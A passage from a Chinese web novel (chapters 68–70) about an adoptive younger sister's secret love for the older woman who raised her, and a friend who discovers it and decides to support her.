乔潇潇笑着从包里掏出了自己沏的茶,来之前,她特意做功课了,说上面的水贵,做了杨绯棠爱喝的冷泡玫瑰茶千里迢迢的背了过来。 她这“抠唆”节省的样子,和小时候一模一样,一点都没变。 杨绯棠感觉自己拿水的力气都没有了,那一刻,她突然很生气,很想要掐住潇潇的脸,问问她“为什么会有这样大逆不道的想法啊?楚心柔可是你姐姐啊,是把你从小山村拉出来的人啊!!!你这样……以后,别说是相爱了,连说话都是奢侈。” “姐姐,你快来看,杨姐姐是怎么了?脸色这么苍白,是不是中暑了?”乔潇潇一看杨绯棠这样都慌了,立马扭头去叫楚心柔,楚心柔走上前,抬起手,摸了摸杨绯棠的脸颊:“不热啊?绯棠,难受么?” 乔潇潇慌了,赶紧跑去前面的小商铺,这次也不管贵不贵了,买了冰凉的气泡水就跑了过来,递给杨绯棠,“快,喝点,杨姐姐。都怪我,早知道就陪着你坐缆车了。” 她越是这样,杨绯棠就越是难过,她一上头,鼻子酸了,眼圈都红了,“可不是都是你?还不是都是你!本来好好的……呜呜,你看,来这一趟,我手机也坏了……如果坐缆车,就没这么多事儿了!” 也不会看见那破烂的锁了。 手机还坏了? 楚心柔抿了唇,察觉到了杨绯棠的反常,正要打量她,乔潇潇横了过来,一手抱着杨绯棠,哄着:“嗯嗯嗯,是我不好,给我杨姐姐委屈坏了,手机坏了?没事儿,回去我看看,肯定给修好,修不好我给你买新的。” 杨绯棠一头扎进乔潇潇的怀里,嗅着她身上熟悉的气息,她眼泪一股一股地往上涌。 这么好的妹妹……她舍不得…… 旁边的楚心柔:??? 潇潇真是要把杨绯棠惯坏了。 走过路过的人,都纷纷地扭头去看她们,缓和了好半天,杨绯棠才有点力气,这一路下山,乔潇潇就差把她背起来了,走出了太后出行的架势。 这一路奔波坎坷的到了酒店。 别说是杨绯棠了,楚心柔的小腿肚子都打哆嗦,洗了澡,换了衣服,就横在了大床上。 她们定的是家庭房,三张床,平日里,杨绯棠不会特意去关注乔潇潇和楚心柔的相处细节,毕竟是在眼皮底下看着长大的崽子,能有什么心思她不知道? 可如今,那一锁子砸下来,让杨绯棠彻彻底底地认清了现实,这崽子,心思太多了,多的是她不知道的事儿。 她看着乔潇潇拿着吹风机走了出来,拖着楚心柔在怀里,一缕一缕细心地给她吹头发。 楚心柔累的眼睛都不睁了,半眯着,猫咪一样缩在她的怀里,是那样的放松和放心。 吹完头发,乔潇潇又烧了热水,把自己带的一次性泡脚盆拿了出来,给杨绯棠和楚心柔一人一个安排上了,她连坐都没坐坐,嘱咐着:“你俩休息会儿,我出去看看屏幕。” 她答应帮杨绯棠修了,就一定会修,这几年,乔潇潇都是这样,不轻易许诺,但是一旦许诺了,就会立即去做。 杨绯棠也知道,她不轻易做决定,一旦做了,八匹马也拉不回来。 楚心柔泡着脚,敷着面膜,哼着音乐,放松的像是个小女孩。 杨绯棠却有些心不在焉,还记得,刚和楚心柔在这边见的时候,她当时刚经历完集团的大洗牌,一个人不管不顾地跑了出来,每天就在家里待着,很少出门。 那时候的楚心柔脸上没有什么笑容,愁眉紧锁,就是和她,一天说的话加起来也不超过五句。 她就那么一个人孤孤单单的。 当时,她抱着画板去万柳村采风,被毒蛇咬了,要不是当地的村民帮忙,差点救不回来,给杨绯棠吓坏了,去医院看她的时候,楚心柔一脸平静地看着窗外,眼神很空洞,没什么表情。 杨绯棠胆战心惊地坐在她的对面,“心柔,你要吓死人,医生说你再晚一点……毒液就蔓延救不回来了……你……你以后被别做这么危险的事儿了。” 楚心柔转过头,看着她:“不要害怕。” 这话说的杨绯棠本来心里还好受一点,可下面,人家来了一句。 “救不回来就救不回来吧。” …… “心柔?”杨绯棠轻声叫了她,楚心柔转过头看着她,“嗯?你也想听歌?这是潇潇特意给我下载的。” 杨绯棠抿了抿唇,“……你开心吗?” 楚心柔看着她,眨了眨眼睛:“你是不是爬华山让人踩着脑袋了” 出来玩玩,真的能放松心情。 尤其是跟潇潇一起,楚心柔什么都不用担心,潇潇会都安排好。 倒是眼前的人,怪怪的一下午了。 杨绯棠不说话了,她的心就像是搅成了一团,上不是下不是的…… 以潇潇的性子,让她放开,是不可能的。 可同样的,她也了解楚心柔,现在的心柔,对潇潇完完全全是姐妹情,没有别的心思,如果让她知道了潇潇对她的感情,楚心柔她一定难以接受……到时候…… “你是不是又跟薛总吵架了?” 楚心柔用脚尖一下一下轻点着水面,“她比你小那么多,你多让着她点。薛家的情况又那么复杂,她坐在现在的位置上,很不容易。” 提到爱人,杨绯棠褶皱的心稍微舒展开了一些,她看着楚心柔,“心柔,你就没有想过找一个?” 楚心柔摇头,“没有。” 这个问题,几年前,杨绯棠就问过她,她也是这么回答的。 不曾改变。 “那你以后这样,不孤单么?” “孤单?”楚心柔笑了,“怎么,你有和薛总远走高飞的打算?” 杨绯棠摇了摇头,鼻子有点酸,她也想要永远这么跟闺蜜在一起,但未来的事儿,谁又敢保证呢?她不止一次希望楚心柔能有一个爱人,保护她,呵护她。 楚心柔:“我有你,有潇潇就够了。本来想着那孩子未来会结婚生子,帮她看看孩子,但她不想要……也好。” 她勾了勾唇角:“我的潇潇就是这样的放荡不羁,不会被任何束缚。” 杨绯棠盯着她这“炫耀”的模样看了一会儿,平日里,她肯定要说几句话挤兑楚心柔的,可如今,她的心里一片暗淡。 不被束缚? 她可被你缠的紧紧的。 晚上,乔潇潇回来了,还买了当地地道的肉夹馍和凉皮来投喂两个动都不想动的“懒姐姐”们。 杨绯棠没什么胃口,楚心柔倒是吃的津津有味,“怎么样,手机修了么?“ 乔潇潇摇头:“要价都太贵了,我买了屏,自己修。” 她动手能力强,楚心柔是知道的,但是从来没看过潇潇修手机。 楚心柔跟个好奇小宝宝似的,拿着小板凳坐在潇潇的身边,看她用螺丝刀换屏。 乔潇潇非常有耐心,“这里,是主屏摔碎了,其它的地方都没有错,换了屏幕就行,没有太多的技术含量。” 俩人嘀嘀咕咕的边说边做,杨绯棠怔怔地在旁边看着,她不是一个老古董,相对的,杨绯棠在感情上一直是开明的,之前,她和楚心柔怀疑潇潇喜欢大她二十岁的老女人的时候,她都安抚着自己,如果真这样,只要崽子喜欢,那就接受,大不了以后对方岁数太大,嘎了的时候,她和楚心柔多帮一把手。 可如今看看…… 哎,老女人是楚心柔啊。 楚心柔睡得很早,她平时疏于锻炼,洗了澡泡了脚,那股子疲乏的劲儿就上来了,早早的去里屋躺着了。 乔潇潇给她放了一会儿猫和老鼠,楚心柔看着看着就睡着了,两个腿夹着被子,唇嘟嘟的很可爱。 乔潇潇在旁边看了一会儿,越看越可爱,忍不住伸手戳了戳姐姐的脸颊,楚心柔哼哼唧唧地抓过身去,潇潇笑了,把被子给她掖好,起身往外走,一抬头,看见了门头“鬼鬼祟祟”缩着头看的杨绯棠。 一察觉到潇潇的目光,杨绯棠立即把头缩了回去。 乔潇潇皱了皱眉,琢磨聊一会儿,走了出来。 杨绯棠端坐着看电视,一副什么都没看见的表情,潇潇盯着她看了一会儿,问:“杨姐姐,你到底怎么了?你跟我还有什么不能说的么?” 杨绯棠睁着眼睛说瞎话,“我没怎么啊,就是爬山爬累了。起开,别挡着我看电视。” 乔潇潇:“爬山爬累了,看金融频道么?不应该是娱乐八卦么?” 杨绯棠:…… “真没心事儿,怎么会一会儿眼睛红,一会儿又眉头紧锁的?” “杨姐姐。” 乔潇潇步步紧逼,“你是不是看到了什么?察觉到了什么?” 杨绯棠深吸一口气,克制着情绪,“我能看到什么?” 这崽子真是逆天了。 她隐藏的有那么明显么? 乔潇潇点了点头,盯着她的眼睛:“你是不是看见山上我挂的锁了?” 【作者有话说】 杨绯棠擦汗:哎,崽子大了,不由人了,要吃姐姐了。 69 第69章 ◎老女人就是楚心柔。◎ ——你是不是看到山上我挂的锁了? 乔潇潇真的是一点缝都不给杨绯棠留,让她想要辩驳的机会都没有。 沉默了半天,杨绯棠抬头看着乔潇潇:“我以为你长大了,很多事情会深思熟虑之后才做决定。” 乔潇潇的18岁,和别人的明显不同。 她本来就早熟,这一次更是沉稳了不少。 她到底知不知道如果这事儿让楚心柔知道了,代价会是什么? 乔潇潇抿着唇,看着杨绯棠的眼睛:“杨姐姐,这个决定不是十八岁才有的。十七岁的我这么想,十八岁的我这么做,二十八岁的我……也绝不会后悔。” 她说的这样笃定,不给自己留一丝后路。 杨绯棠垂头沉默了许久,她缓缓地看向乔潇潇的眼睛:“所以,这几年,你每次情绪反复,我笑着说你是不是青春期的时候,都是因为这个?” 乔潇潇点了点头。 杨绯棠唇线抿得发白,声音轻得几乎听不见:“你有没有想过,你或许会失去她?” 本来,乔潇潇的眼神一直很坚定,直直望进杨绯棠眼底。可这句话像一把刀,生生剖开她强撑的镇定,杨绯棠眼睁睁看着她眼眶一点点泛红,像是被风吹皱的春水,再也藏不住汹涌的痛楚。 “想过……”乔潇潇终于低下头,嗓音里压着破碎的哽咽。 “你不害怕?” “害怕,我害怕得……快要死掉了。” 每个辗转难眠的深夜,这个念头都像毒蛇般缠住她的咽喉。她蜷缩在黑暗里,被想象中的失去折磨得痛不欲生。 可那份爱意早已在心底疯长成荆棘,等她惊觉时,尖锐的刺早已扎进血肉。 ——覆水难收。 她站在悬崖边回头望去,来时的路早已被野火烧尽。 …… 这次出行,放松心情的,或许只有楚心柔一个人。 她们回城的时候,一向上了飞机就叽叽喳喳说个不停地杨绯棠用衣服盖住了头,一言不发。 楚心柔看了看她,问了一声:“真和薛总吵架了?” 杨绯棠没回答,却也没有摇头。 她做不到这么快接受潇潇对楚心柔的感情,但也没有办法忽略潇潇通红的眼睛,还有那一声“害怕”。 乔潇潇幽幽地盯着杨绯棠看了半天,她闭上了眼睛,将头靠在了姐姐的肩膀上。 她本不想要杨姐姐这么快知道的。 可天意如此。 杨绯棠对她而言,是很重要很重要的存在,是真的像是亲姐姐一样无微不至的照顾,她对自己的好,乔潇潇都知道。 所以,这样的大事儿,未来,她一定会知道。 如果杨绯棠这关都过不了,那姐姐那就更不用说了…… 乔潇潇这一天的火上的,一向不长疙瘩的她,下巴长了一个火疖子,一碰就疼。 楚心柔给她抹着芦荟胶,忍不住絮叨:“怎么出来还玩还上火?是有什么心事儿么?你们俩,真是的……一个两个这么沉默,以后别叫我出来了。” …… 来接站的,是薛总,她不放心,因为昨天视频的时候,杨绯棠心不在焉的,虽然还对着她笑,但是眼睛里写满了——我不开心,我有心事儿。 她能有什么心事儿? 今天一看到乔潇潇,薛莜莜猜到了□□成。 杨绯棠无精打采的把行李递给她就钻车上去了,楚心柔笑着点了点头:“麻烦了。” 薛莜莜回以微笑,她看向乔潇潇,潇潇抿了抿唇,也不知道怎么了,明明和莜莜不熟,可看到她那一刻,居然升起了一丝丝委屈。 薛莜莜走到她的面前,抬手,拍了拍她的肩膀,“慢慢来,会好的。” 她是杨绯棠的枕边人。 太了解她了。 她需要点时间。 下了车,按照以前的习惯,杨绯棠应该是去楚心柔家里蹭饭的,可今天,她说了一声“累了*”就头也不回的回家了。 一直到晚上,吃了饭的楚心柔还在纳闷,“你说绯棠到底怎么了?” 一个整日里嘻嘻哈哈的人,突然这样沉闷,真的让她很不习惯。 乔潇潇低下头,缓缓地说:“也许是我做错了什么,让她不开心了吧。” 以前,俩人经常会有小的争吵,小的磨合,楚心柔都见怪不怪了,可这一次,明显不是。 她走到了乔潇潇的身边,抱了抱她:“没事儿的,过几天我问问绯棠,你说过几天要去广州考察,东西都收拾好了么?那边很热,记得擦防晒,嗯?” 乔潇潇点了点头,她回抱住楚心柔,嗅着她身上熟悉的茉莉香,轻轻的叫了一声:“姐姐。” “嗯?” 楚心柔能够感觉到她心底的拨动,却不知道为了什么,乔潇潇抱紧她:“姐姐……如果有一天,我做了错事,被你知道了,你会离开我么?” 楚心柔的心抖了一下,她身子向后,看着乔潇潇的眼睛:“错事?你违法了?” 乔潇潇:…… 楚心柔抓紧她的胳膊,“是吗?” 乔潇潇无奈地摇头,她看着楚心柔舒了一口气,紧接着,抬起手,摸了摸她的脸颊:“其他错事……我想,我或许会生气,但是不会离开。” 她舍不得。 …… 潇潇这次去广州,时间不短,她带上了袁璐,把青心全权交给了王宁。 王宁知道之后,低着头,沉默了许久,再抬起头的时候,她的眼圈有一丝红:“潇潇,你真的还放心我?” 曾经经历过那样的事儿。 换做是别人,别说相信了,用都不会用她。 乔潇潇看着王宁的眼睛,笑了笑:“宁姐,我给奶奶买了西洋参,放茶水间里了,你想着给她带回去,今年过年,我们一起回去看她。” 没有回答,却胜似一切回答。 王宁用力地点了点头,看着她的眼睛说:“你放心。” 乔潇潇这次去广州,主要是之前的一个大客户,看中了她的个人能力,想要看她有没有兴趣进入酒店业看一看。 按照以前的习惯,乔潇潇不舍得姐姐,都会把行程压缩一下。 可这一次,她没有。 她这一去就是一个月。 离开前,她把家里打扫的干干净净,又跑去买了杨绯棠爱吃的杏仁酥,给她放到琴房,这才离开的。 走之前,她一手拉着行李,回头看了许久,就只有楚心柔一个冲她挥手,以前,杨绯棠都会垫着脚尖,把手挥成风火轮,一边挥一边大声喊:“早点回来做饭!” 乔潇潇缓缓地低下了头。 她的心情是低落的。 而杨绯棠的心情也不好受,平日里,嚷嚷着想要减肥却一直不见功效的她,短短几天,瘦了小五斤,脸都变成巴掌大了。 她对这件事是绝对的保密,就是枕边人也不说。 薛莜莜又疼又气的,“你有什么不开心就说出来啊。” 杨绯棠紧闭着嘴,半响,她问:“潇潇走了吗?” 冷哼一声,薛莜莜毫不留情地拆穿她:“你早上不是偷偷扒着窗户看了么?还把杏仁酥给偷偷收到床头柜里了,我都看见了。” 杨绯棠:…… 薛莜莜整理着腕表,她看了眼杨绯棠:“你就承认吧,你舍不得人家。” 杨绯棠一扯脖子:“我才不会舍不得,谁舍不得谁是狗!” …… 乔潇潇不在家。 下午,杨绯棠就跑到了楚心柔家里去了。 楚心柔正在作画,只是画的色彩并不明艳,一片轻轻的灰色笼罩着五颜六色的一团。 杨绯棠一边吃着杏仁酥,一边问:“你这是在画广州的雾霾与阴沉么?” 楚心柔扭头惊讶地看着她,很明显是被说中了。 杨绯棠怪里怪气地说:“哟,才离开一天,就这么舍不得,以后要是人家好久不回来,你得想成什么样?” 楚心柔认真地说:“潇潇说了,永远不会离开我。” 杨绯棠:…… 不是……这位傻大姐,人家都这么说了,你还没明白是怎么回事儿么? 杨绯棠自己心里不舒服,扭曲的想要欺负人,“呵呵,回头人家找个老女人回来,开开心心幸福美满了,哪儿还有时间陪你。” 楚心柔立即回击:“我看薛总找了你这个老女人之后也挺开心美满的,你怎么还是总来?杨绯棠,潇潇才把地板拖好了才走的,你要是再敢掉渣我就揍你!” 杨绯棠:…… 时间是个奇妙的东西。 她真的能缓慢的治愈并抹平什么。 刚开始,还死鸭子嘴硬的杨绯棠在乔潇潇离开第一天的时候,一边洗菜,一边问楚心柔:“你真不想着结婚了?” 楚心柔忍不住翻白眼,“杨绯棠,你这几天是吃了耗子药么?你要阴阳怪气到什么时候?” 杨绯棠冷哼,“你要是不结婚,我还不得一直照顾你?” “用不着,我有潇潇。” “哟,张口闭口潇潇的,她不是说她也不结婚生子么?那你俩一块过得了。” 楚心柔正在客厅里捧着茶杯端详着乔潇潇走的时候测的身高,看没有再长高,舒了口气,“那也很好啊。” 跟潇潇这样过一辈子,也很好,不是么? 杨绯棠听得胆战心惊,她故作淡定地说:“那你俩可真是白瞎了这幅好相貌好身材了,要打一辈子老光棍了。” 楚心柔眼神里带着几分蔑视:“你什么时候变得这么恋爱脑了?老光棍怎么了?我都想好了。” 杨绯棠撇嘴,“我就问问嘛。” 楚心柔指尖轻轻摩挲着茶杯边缘,眼神忽然变得悠远:“我和潇潇说过,等青心稳定了,走入正轨,那时候,或许她已经大学毕业了,春天的时候,我们去江南。” “找一间白墙黛瓦的院子,门前要有几株垂丝海棠。我支起画架画落花,她就在廊下煮新茶——等雨停了,我们就踩着青石板去听评弹。” 她顿了顿,唇角浮起一丝笑:“夏天嘛,自然要躲去北欧。她总是总说想画永不落幕的极昼,我们在特罗姆瑟的海边租船夜钓,在斯瓦尔巴群岛追着北极熊拍照——” 杨绯棠突然就笑了:“然后被熊追着跑?” 楚心柔瞪她一眼,继续说道:“等秋天枫叶红了,我们就回京都。住在岚山竹林边的町屋里,清晨去东福寺看红叶铺满通天桥,傍晚就坐在鸭川边喝热清酒……”她的声音渐渐低下去,“冬天就去冰岛吧。” “在雷克雅未克的小教堂里听圣诞颂歌,泡着蓝湖温泉看极光。” 杨绯棠在楚心柔的眼睛里看到了无尽的温柔与向往,“我们要在雪地里留下两串脚印。” 她想要和乔潇潇去很多地方。 “如果潇潇不想出国,或者没有那么多的时间,那我们就牵着手,慢慢走遍这九州山河。” 杨绯棠走到了沙发边,将头靠在了楚心柔的肩膀上。 楚心柔的身子微微一僵。 以前,她们还年少的时候,也曾这样相互依偎着,聊天看日落。 后来,长大了,各自为了事业而奔波,相聚在一起的日子就少了,尤其是杨绯棠有了薛莜莜之后,她们已经很久没有这么亲密了。 “我是听明白了,你往后余生啊,都有那个小崽子。” 楚心柔靠着她的脑袋,笑着说:“也有你。” …… 那天晚上。 薛总回家的时候,还没开门,就听见一阵阵的钢琴曲,还有杨绯棠豪迈的歌声。 ——人生短短几个秋啊 不醉不罢休 东边我的美人哪 西边黄河流 来呀来个酒啊 不醉不罢休 愁情烦事别放心头…… 在玄关处换鞋的薛莜莜勾着唇角笑了,她知道,她家那位小坏蛋,这是想明白了。 果不其然。 下了决心的杨绯棠当天晚上就憋不住屁了,她神秘兮兮地问薛莜莜:“你知道,潇潇喜欢谁么?” 薛莜莜把玩着她一缕头发,靠在她的胸口听心跳,“不是神秘老女人么?” 杨绯棠用力地点了点头,郑重宣布:“想不到吧?那老女人就是心柔!” 薛莜莜笑了,她很想知道,楚总如果知道自己被杨绯棠这么说,脸上的表情该有多精彩。 “哎,你怎么一点不惊讶啊?” 杨绯棠低头看着怀里的人,薛莜莜赶紧装作认真地问:“是吗?啊——居然是楚心柔?” “是啊,惊讶吧?我刚开始也没想到……哎,与其说没想到,不如说是不敢深想,这崽子啊,真是厉害,如意算盘打到自己家人身上了。” “那你能接受么?” “不能啊,我要是一下子就能接受我还至于掉这么多斤么?谁等想到啊,一直当做妹妹的人,居然想要上我最好的朋友。” 薛莜莜伸手捏了捏杨绯棠的脸,“杨姐姐,你话太粗糙了。” “话糙理不糙,这不就是爱情的本质么?”杨绯棠抓住她的手,对着薛莜莜妩媚一笑:“你当初沦陷,不就是因为——” 薛莜莜一把捂住她的嘴,“行了,看给你能个的,那你说说,你怎么又同意了?” “哎……”杨绯棠无奈得叹了口气,“不是我又同意,是我发现,心柔啊……她对潇潇是不一样的。或许,现在还不是爱情……但已经……哎,只是,她自己不知道而已。” 既然如此。 她又干什么与她们背道而驰呢? 她了解乔潇潇,更了解楚心柔。 知道潇潇在第一次察觉自己的心思的时候,肯定很慌张惶恐不安,这么久以来,她一想到楚心柔也许会生气离开,就睡不好吃不好的吧。 当时,如果她在身边,抱抱崽子,也许就不会这样。 还有心柔…… 未来她知道一切的时候,也一定很无助很慌乱。 杨绯棠一身胳膊:“我是爱与正义的水手服美少女战士杨绯棠,我决定要拯救小崽子!” 薛莜莜笑了,她将头靠近杨绯棠的怀里,幸福地说:“嗯,我就知道我们杨姐姐是那么的善解人意,体贴人心,有你在,潇潇一定马到成功。” 马到了,成不成功还说不好。 但是杨姐姐一旦起心动念了,这事情发展就要快速了很多。 在乔潇潇终于晒成个黑煤球,从广州考察回来的时候,杨绯棠和楚心柔一起在门口迎接的她。 楚心柔还是老样子,温柔的笑,杨绯棠则是挥着小手:“欢迎欢迎,热烈欢迎。” 看着杨姐姐这样。 乔潇潇的眼泪都要流下来了,她敷衍地抱了抱楚心柔,径直走向杨绯棠,一把抱住了她。 楚心柔:??? 杨绯棠回抱住了崽子,伸手轻轻地拍了拍她的肩膀,在她耳边小声说:“辛苦了,崽子。” “没少委屈难过吧?” 乔潇潇眼泪都要流下来了了,杨绯棠抱紧她,“放心吧,我会一直陪着你,陪着你们。” 【作者有话说】 十佳好姐姐杨绯棠。 感情进展会快了,时间轴也会快一些了[彩虹屁] 70 第70章 ◎你可以随便碰我了。◎ ——放心吧,我会一直陪着你,陪着你们。 这话说的乔潇潇眼泪都要流出来了,她把头使劲往杨绯棠的怀里扎,无声的落泪。 杨绯棠知道她内心的翻滚,跟着心酸不已,手轻轻地揉着她的发,“好了好了,之前是杨姐姐不好,嗯?” 这崽子啊,这段时间也不知道怎么熬过来的。 乔潇潇的眼泪流的更凶了,死死地抱着杨绯棠,杨绯棠回抱住乔潇潇,她们紧紧相拥。 在旁边围观的楚心柔:??? 这是什么情况? 见面开心她能理解,只是那爪子用抠的那么紧么? 这一顿接风宴挺热闹,尽管在灯光下的乔潇潇黑的发光黑的发亮,跟刚挖完煤球回来似的,可她精神抖擞,跟两个姐姐说着所见所闻。 “广州真的太热了,又热又闷,跟大蒸笼似的。” “可数据比天气更烫手。”她把手机里的数据对着两个姐姐展示了一下,屏幕上跳动着酒店管理系统数据,“你看这个——旺季时梅兰酒店的RevPAR(每间可售房收入)能冲到580元,但20%的营收要交给OTA平台。” 她压低声音,神秘兮兮地:“姐,你知道五星级酒店平均客房利润率是多少吗?62%,而连锁经济型酒店也能做到35%以上。” “但重资产投入太大。”乔潇潇转动着杯子,冰块叮当作响。她突然前倾身体,空调风掀起她鬓角的碎发,“我注意到他们在乡村度假板块的空白……” 话说到一半,她忽然停住了,像是被自己的大胆想法吓到,又像是怕被笑话。那些念头在她脑海里盘旋,像天边的云,看似触手可及,却又遥不可及。 杨绯棠听得正起劲,见她突然沉默,忍不住催促:“怎么不说了?” 乔潇潇抿了抿唇,睫毛低垂,在眼下投下一小片阴影。不是她不想说,而是不敢说——那不过是一场奢望,一个尚未成型的梦。 楚心柔静静看着她,忽然轻声问:“你是想要开发万柳村?” 乔潇潇猛地抬起头,眼睛瞪得圆圆的。 “姐!”她几乎要跳起来,声音里是藏不住的惊喜——姐姐懂她! 楚心柔微微一笑,指尖轻轻点了点桌面,像是在梳理思路。 “虽然酒店业前期投资大,但万柳村无论是人力、土地资源还是物价都便宜,当地还有明朝的崇瑞寺……”她顿了顿,眉头微蹙,“可是,太缺名气与宣传了。” 这些,倒也不是难事。 只要有钱,什么都能办到。 可青心还在发展阶段,每一分资金都要精打细算。她不敢贸然抽调太多钱去投资新领域,哪怕那个念头已经在心里扎根,像野草般疯长,再也无法阻拦。 梦想有了形状,却触不可及。这种感觉太折磨人,像结痂的伤口发炎发痒,明知道抓挠会让它恶化,却还是忍不住去想。 她的指尖无意识地摩挲着茶杯边缘,目光落在窗外。她的家乡,那里没有广州的高楼大厦,可却美的像是画里的景色。 袅袅的炊烟,清晨沾着露水的稻田,还有那座年久失修却依然庄严的崇瑞寺。 那里是她生命的起点,虽然回忆里满是苦难与坎坷想,如今她走出来了,就想要报答与反哺。 这桌接风宴是杨绯棠特意为乔潇潇准备的,红烧狮子头泛着油亮的酱色,梅菜扣肉肥而不腻,七菜一汤摆得满满当当,全是乔潇潇最爱吃的。 楚心柔原本挽着袖子要来帮忙,还没踏进厨房就被杨绯棠用锅铲指着门口:“哎哎哎,别糟蹋我的食材,您这边请嘞~” 厨艺这件事,大概是楚姐姐这辈子都跨不过去的坎了。 饭桌上,楚心柔还是老样子,小口啜着汤,没吃几筷子就搁了碗。杨绯棠为了保持身材,只敢夹些青菜。倒是乔潇潇像饿了三天的饕餮,风卷残云般扫荡了大半桌菜,腮帮子鼓鼓的还不忘夸赞:“杨姐姐,你这手艺绝了!” “那是~”杨绯棠得意地扬起下巴,眼角的笑纹都透着欢喜。 “人美手又巧,谁娶了你真是祖上积德。”乔潇潇又塞了一大口狮子头,含糊不清地补充道。 杨绯棠这下连后槽牙都笑出来了。 旁边,正喝汤的楚心柔冷不丁地问了一句:“不会做饭就是祖上不积德么?” 要不是有薛莜莜,乔潇潇是不是就想娶她杨姐姐这个老女人了? 杨绯棠:…… 乔潇潇:…… 过了好一会儿,乔潇潇才摸着肚子看着楚心柔:“姐,我面条呢?” 不吃一口姐姐做的面条,那叫回家么? 这下子,楚心柔喜笑颜开了,她得意地看了杨绯棠一眼,起身去做面去了。 看着厨房里忙碌却依然眉眼带笑的楚心柔,杨绯棠撇了撇嘴,凑近乔潇潇耳边低声道:“心柔啊,对你可真是掏心掏肺的好。” 这醋劲儿大得,但凡沾点边就不乐意,偏生心思又纯粹得可爱。 乔潇潇闻言轻叹一声,纤长的睫毛在眼下投下一片阴影:“她总把我当长不大的孩子。” 杨绯棠偏头打量着她,忽然发现眼前这个从小看着长大的姑娘,不知何时已然出落得亭亭玉立。她若有所思地摩挲着下巴:“倒也不尽然。你看看现在这身段,这模样……” 平日里总习惯用长辈的眼光看待潇潇,此刻换个视角端详,才发现自家这崽子确实称得上玲珑有致,明艳动人。 老天终究是公平的。 那些年挥洒的汗水,终究没有白费。 虽然乔潇潇最终没能走上职业运动员的道路,但经年累月的训练早已将她的身形雕琢得恰到好处,修长的脖颈,流畅的肩线,纤细却不单薄的腰肢,活脱脱就是个行走的衣架子。 乔潇潇有意挺了挺胸脯,“虽然没到C,但也是B呢。” 杨绯棠:…… 现在的年轻人,真是给点风,就能把车开到大马路上来。 “你得想办法,让心柔正视你,不再把你当小孩了。” 这是杨狗头军师给乔B罩杯献出的第一计。 楚心柔端着面条出来的时候,看见俩人的头凑在一起嘀嘀咕咕的,她将面端到了桌子上,微笑地看着乔潇潇:“还聊呢?要不去你杨姐姐家里聊去?一起躺被窝里聊去?” 她盯着乔潇潇的脸看,明显在她的眼睛里看到了“心动”二字。 楚心柔:…… 夜色渐深。 杨绯棠离开后,乔潇潇拖着疲惫的身子冲了个热水澡,整个人软绵绵地趴在床上,连手指都懒得动一下。 楚心柔轻手轻脚地推门而入,手里握着吹风机。她坐在床边,动作轻柔地捧起潇潇湿漉漉的发丝,暖风徐徐拂过,指尖在发间温柔穿梭。 乔潇潇眼皮都抬不起来了,还把自己的胸往上抬了抬,楚心柔看见了,把被子给她盖住,“冷了?” 蹭什么呢? 乔潇潇:…… 吹风机的嗡鸣声在静谧的房间里格外催眠。半梦半醒间,乔潇潇突然轻声呢喃:“姐姐,你还记得第一次给我吹头发吗?” 怎么会忘记? 楚心柔的指尖微微一顿,唇角泛起温柔的弧度:“当时啊,稍一碰你,你就绷得像根弦。” “嗯……”乔潇潇的声音闷闷的,“那时候身上都是伯母打的伤,一碰就疼。更怕被人看见……所以特别敏感。” 那时的她,犹如惊弓之鸟,连最轻微的触碰都会让她瑟缩。 感受着怀中人不安的回忆,楚心柔心疼地抚过她的发顶。乔潇潇突然转身,将脸深深埋进她的怀里:“姐姐,我长大了。” “嗯,我知道。” 楚心柔敏锐地察觉到,最近潇潇总在不经意间强调着“长大”这个词。 她当然知道,她的潇潇长大了。 ——你可以随便碰我了。 这话,潇潇终究是没有勇气说出口,碎在了心底。 只要有姐姐的地方,就充满了安全感,潇潇这一觉睡到沉稳香甜。 一直到大学都开学了。 乔潇潇的“美人计”都没有使上,跟杨绯棠嘀嘀咕咕好几次都没有用,最后还被楚心柔抓包,认真地问了她一句:“你是不是想投靠你杨姐姐了?” 乔潇潇张着嘴还来得及回答。 楚心柔抿唇,“她家有人了。” 乔潇潇:…… 大学生活开始。 一切都跟高中不一样了。 乔潇潇走进校园,感觉熙攘的人群,可落在身上的每一寸阳光,都是自由的味道。 她这个身高身材和样貌,走到哪儿都是关注的焦点。 现在的氛围跟高中也不一样了,才上学没几天,她收到的各种“求爱”信息跟雪花一样多,甭管是男的女的,同年级的还是高年级的。 乔潇潇不为所动,还是老样子,一天想着“搞钱”往外跑。 其中有一个最为勇猛的富二代赵东光天化日的把乔潇潇拦在了学校门口,他开门见山:“乔潇潇,我喜欢你。” 潇潇皱着眉看着他,所以呢?有没有素质,拦着她去赚钱? 赵东长得眉清目秀的,长期健身,一身腱子肉,他盯着乔潇潇的眼睛:“我打听了,你总是往外跑,辛苦去赚钱……我很心疼……如果,你能给我个机会,我不想你这么辛苦。” 乔潇潇冷笑,“那你想怎么着?” 她知道,在大学好多同学去三中的校园网上“挖坟”了,找到了很多她以前的奋斗史,就自认为了解她了。 赵东声音坚定:“我可以每月给你六千元,你随便花。” 六千,在2016年也不是小数目了。 乔潇潇听了微微一笑:“哥哥。” 这一声“哥哥”叫的赵东脸都红了,心跳加速,额头都要冒汗了,“我在!” 乔潇潇:“你要是往后在加两个零,我考虑一下。” 赵东愣了愣。 乔潇潇的表情冷凝,“如果加不了,立马给我让开!” 现在这些男生都怎么搞的,这么点钱,就想办大事了? 自此一役后,乔潇潇六十万的美名传出去了,她的追求者在如此巨额财富面前,倒下了八成,再没有谁敢把她拦在半路上了。 乔潇潇少了这些聒噪,心情不知道多好。 刚开始,她还不敢,后来,她都敢选择性翘课了。 那种选修课,她就让同学帮着答道,等后来,老师发脾气,数人头的时候,她干脆花了15块钱,雇个人给她答道。 乔潇潇还是到处跑,这一路,她认识了不少人,每周五,雷打不动的,她回家要去找姐姐。 偏偏这样,她每次考试都是班里前三名,动都没动过。 老师气的牙痒痒,又拿她没办法,而学生们看她更加笼罩了一层“传奇学霸”的神秘面纱,粉丝比起高中来,不降反增。 现在跟以前不同了,彰显个性。 乔潇潇这样“玩世不恭”的学霸,可要比戴着眼镜一天天死学习的学霸要受欢迎的多。 而且逐渐的。 乔潇潇也学会了“放松”。 在大一下学期的时候,她已经学会了尽量压缩规划自己的时间,把重要的事情都安排在周一到周五,六日多和姐姐在一起享受闲暇时光。 人生么,有松有驰。 杨绯棠有时候在旁边喝着茶,故意拿捏:“哟,我听说过大三的好几个追你的?老不老啊?” “还行,看着细皮嫩肉的,好像医美了。” 乔潇潇正在跟楚心柔下五子棋,眉头紧锁,十分投入。 楚心柔看了她一眼,“医美?又是女孩子?” 